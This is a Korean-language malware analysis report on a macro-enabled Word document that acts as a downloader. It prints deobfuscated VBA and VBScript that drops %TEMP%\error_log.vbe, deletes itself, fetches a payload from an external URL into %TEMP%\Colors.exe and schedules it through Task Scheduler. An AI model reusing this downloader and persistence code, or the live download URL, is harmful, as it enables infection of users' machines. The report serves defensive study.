1. 개요
1.1 분석 수행 인원
•
이수영
1.2 파일 정보
File Name | 48e41e2d764dd44bd4125f936e1a0adc.doc |
Size | 713 KB |
Type | MS Word(Structured storate) |
Behavior | Downloader |
MD5 | 48e41e2d764dd44bd4125f936e1a0adc |
SHA256 | 9f7dbeea18f8525bf94d3d877ca433545915f06483b597d84beb2a3cd30589ca |
ssdeep | 6144:5QS1BmXp1LdZ3toz0F4cO+Y5mmb3q4W2TlFWhqxNs7NLQLn9F2FEYxbhyeikXluV:pBm51LHOz0FfO+OvaKXhOVaPkBqok |
VirusTotal | 41 / 65 (63.1%) |
1.3 Time table
2. 악성코드 상세 분석
2.1 48e41e2d764dd44bd4125f936e1a0adc.doc 분석
(1) DOC 스트림 분석
$ oledump.py 48e41e2d764dd44bd4125f936e1a0adc.doc
Bash
복사
Doc내의 스트림을 확인해보면 위와 같다. 그 중에서 8, 9번 스트림에 매크로가 포함되어 있는 것을 확인할 수 있다. 첫번째로 매크로가 포함된 8, 9번 스트림을 추출해서 분석해야 한다.
(2) 스트림 추출 및 분석
$ oledump.py 48e41e2d764dd44bd4125f936e1a0adc.doc -s 8 -v > s8.vbs
$ oledump.py 48e41e2d764dd44bd4125f936e1a0adc.doc -s 9 -v > s9.vbs
Bash
복사
우선 8, 9번 스트림을 각각 s8.vbs, s9.vbs로 추출하고 분석을 진행한다. 확인해보면 s8.vbs와 s9.vbs 모두 관계없는 코드에 해당하는 주석이 많음을 확인할 수 있다. 따라서 추가적으로 주석을 삭제한다.
s9.vbs에 Document_Open()함수가 있으므로 s9.vbs내의 코드부터 시작한다. 문서를 열면 제일 먼저 bsEZIkCU 변수에 저장된 데이터를 특정 파일에 저장한다. 파일 경로와 이름은 Module1.LtCvdeO 함수의 반환값을 통해 알 수 있다. s8.vbs 파일을 보면 VB_Name이 Module1이고 내부에 LtCvdeO()함수가 존재한다.
Attribute VB_Name = "Module1"
Public Function LtCvdeO()
CWAwmvwl = Replace("UGETUGEEUGEMUGEP", "UGE", "") ' TEMP
tuDCxOiw = Environ(CWAwmvwl) & Replace("\ePIFLrrPIFLorPIFL_loPIFLg.PIFLvPIFLbPIFLe", "PIFL", "") ' %TEMP%\error_log.vbe
LtCvdeO = tuDCxOiw
End Function
Visual Basic
복사
LtCvdeO() 함수를 분석하면 아래와 같다.
•
CWAwmvwl 변수에 “TEMP” 문자열 저장
•
tuDCxOiw 변수에 “%TEMP%\error_log.vbe” 문자열 저장
•
LtCvdeO 함수가 종료되면 “%TEMP%\error_log.vbe” 리턴
즉 s9.vbs에서 “%TEMP%\error_log.vbe” 파일을 생성한 후 bsEZIkCU 변수에 저장된 값을 넣고 있다.
%TEMP% 경로에 파일을 생성 후 ucRooOBbx()함수를 호출한다. ucRooOBbx()함수에서 난독화된 부분을 제거하고 코드를 분석했을 때 핵심 코드는 아래와 같다.
Sub ucRooOBbx()
On Error Resume Next
Dim FWDfCBLPU, mPqhNXPN, SDfrTYTAuK
Set sr = CreateObject("Schedule.service")
Call sr.Connect
Set fr = sr.GetFolder("\")
Set td = sr.NewTask(0)
With td.Settings
.Enabled = True
.StartWhenAvailable = True
.Hidden = False
End With
Set tr = td.Triggers
With tr.Create(1)
.StartBoundary = DPoxlCnR(DateAdd("s", 60, Now))
.EndBoundary = DPoxlCnR(DateAdd("n", 4, Now))
.ExecutionTimeLimit = "PT5M"
.Enabled = True
End With
Set ac = td.Actions.Create(0)
ac.Path = "%TEMP%\error_log.vbe"
Call fr.RegisterTaskDefinition("LijWXGHxAGtmz", td, 6, , , 3)
End Sub
Visual Basic
복사
•
작업 스케줄러 서비스를 이용해서 “%TEMP%\error_log.vbe” 등록
•
작업 스케줄러에서 일반적인 작업처럼 동작하며 스케줄러 실행이 가능할 때 실행되도록 활성화된 새 작업 생성
•
실행 트리거는 작업 스케줄러가 실행되면 1~4분 사이에 트리거 실행 및 실행 시 5분동안 작업이 실행되도록 구성
따라서 현재 VBScript가 실행되면 error_log.vbe 생성 후 직접 실행하는 방식이 아닌 작업 스케줄러를 이용해서 실행하고 있다. 해당 공격 방식은 MITRE ATT&CK를 참조하면 Execution(TA0002) 중 Scheduled Task/Job: Scheduled Task(T1053.005)에 해당한다. 추가 악성 행위는 error_log.vbe 파일에 저장할 데이터인 bsEZIkCU 변수의 데이터를 확인해야 한다.
(3) error_log.vbe 분석
s9.vbs 파일 중 14 ~ 212번째 라인까지 추출해서 출력하면 위와 같이 깨진 데이터가 나온다. 깨진 데이터가 나온 이유는 이 데이터가 저장되는 파일의 확장자에서 알 수 있는데 VBE 확장자는 VBS를 인코딩한 파일이다. 즉 해당 데이터를 디코딩하면 원래의 VBScript를 알 수 있다.
On Error Resume Next
Set le = CreateObject("Scripting.FileSystemObject")
Call le.DeleteFile(WScript.ScriptFullName, True)
set ms=createobject("MSXML2.ServerXMLHTTP.6.0")
set ad=createobject("Adodb.Stream")
ms.Open "GET", "https://www.octetfruitsllc.com/vendor/phpunit/phpunit/src/Util/PHP/avatar.hlpv", False
ms.setRequestHeader "User-Agent", "LD"
ms.Send
with ad
.type=1
.open
Execute .write ms.responseBody
.savetofile %TEMP%\Colors.exe, 2
end with
Set sr = CreateObject("Schedule.service")
call sr.Connect()
Set fr = sr.GetFolder("\")
Set td = sr.NewTask(0)
Set ri = td.RegistrationInfo
ri.Description = "KUENucn"
ri.Author = "Administrator"
Set st = td.Settings
st.Enabled = True
st.StartWhenAvailable = True
st.Hidden = False
Set tr = td.Triggers
Set tgr = tr.Create(1)
tgr.StartBoundary = TRES(DateAdd("s", 60, Now)) ' TRES() : Time Setting function
tgr.EndBoundary = TRES(DateAdd("n", 4, Now)) ' TRES() : Time Setting function
tgr.ExecutionTimeLimit = "PT5M"
tgr.Id = "KJHFyej"
tgr.Enabled = True
Set ac = td.Actions.Create(0)
ac.Path = "%TEMP%\Colors.exe"
call fr.RegisterTaskDefinition("LMFUrjiu", td, 6, , , 3)
Visual Basic
복사
error_log.vbe를 디코딩하면 위와 같이 실제 VBScript 코드가 나온다. 해당 코드 역시 s8.vbs와 s9.vbs처럼 코드가 난독화 되어있다. 난독화를 해제한 후 핵심적인 행위를 분석하면 아래와 같다.
1.
에러 무시 및 자기 삭제
On Error Resume Next
Set le = CreateObject("Scripting.FileSystemObject")
Call le.DeleteFile(WScript.ScriptFullName, True)
Visual Basic
복사
•
코드 실행 시 발생하는 오류 무시
•
현재 실행 중인 error_log.vbe 파일 삭제
2.
원격 파일 다운로드
set ms=createobject("MSXML2.ServerXMLHTTP.6.0")
set ad=createobject("Adodb.Stream")
ms.Open "GET", "https://www.octetfruitsllc.com/vendor/phpunit/phpunit/src/Util/PHP/avatar.hlpv", False
ms.setRequestHeader "User-Agent", "LD"
ms.Send
with ad
.type=1
.open
Execute .write ms.responseBody
.savetofile %TEMP%\Colors.exe, 2
end with
Visual Basic
복사
•
원격 서버에서 악성코드 다운로드 시도
◦
hxxps://www.octetfruitsllc.com/vendor/phpunit/phpunit/src/Util/PHP/avatar.hlpv
•
%TEMP% 경로에 Colors.exe 이름으로 악성코드 저장
3.
작업 스케줄러에 악성 코드 등록
Set sr = CreateObject("Schedule.service")
call sr.Connect()
Set fr = sr.GetFolder("\")
Set td = sr.NewTask(0)
Set ri = td.RegistrationInfo
ri.Description = "KUENucn"
ri.Author = "Administrator"
Set st = td.Settings
st.Enabled = True
st.StartWhenAvailable = True
st.Hidden = False
Set tr = td.Triggers
Set tgr = tr.Create(1)
tgr.StartBoundary = TRES(DateAdd("s", 60, Now)) ' TRES() : Time Setting function
tgr.EndBoundary = TRES(DateAdd("n", 4, Now)) ' TRES() : Time Setting function
tgr.ExecutionTimeLimit = "PT5M"
tgr.Id = "KJHFyej"
tgr.Enabled = True
Set ac = td.Actions.Create(0)
ac.Path = "%TEMP%\Colors.exe"
call fr.RegisterTaskDefinition("LMFUrjiu", td, 6, , , 3)
Visual Basic
복사
•
작업 스케줄러에 %TEMP%\Colors.exe 악성코드 등록
◦
활성화 된 작업을 등록하고 실행되지 못하더라도 가능한 빨리 실행되도록 예약
◦
작업 시작 시간을 기준으로 1~4분에 트리거 동작
◦
동작 시 5분간 지속
2.2 Colors.exe 분석
현재 악성코드 샘플이 없음. 샘플을 찾는 대로 분석 진행 예정(미정)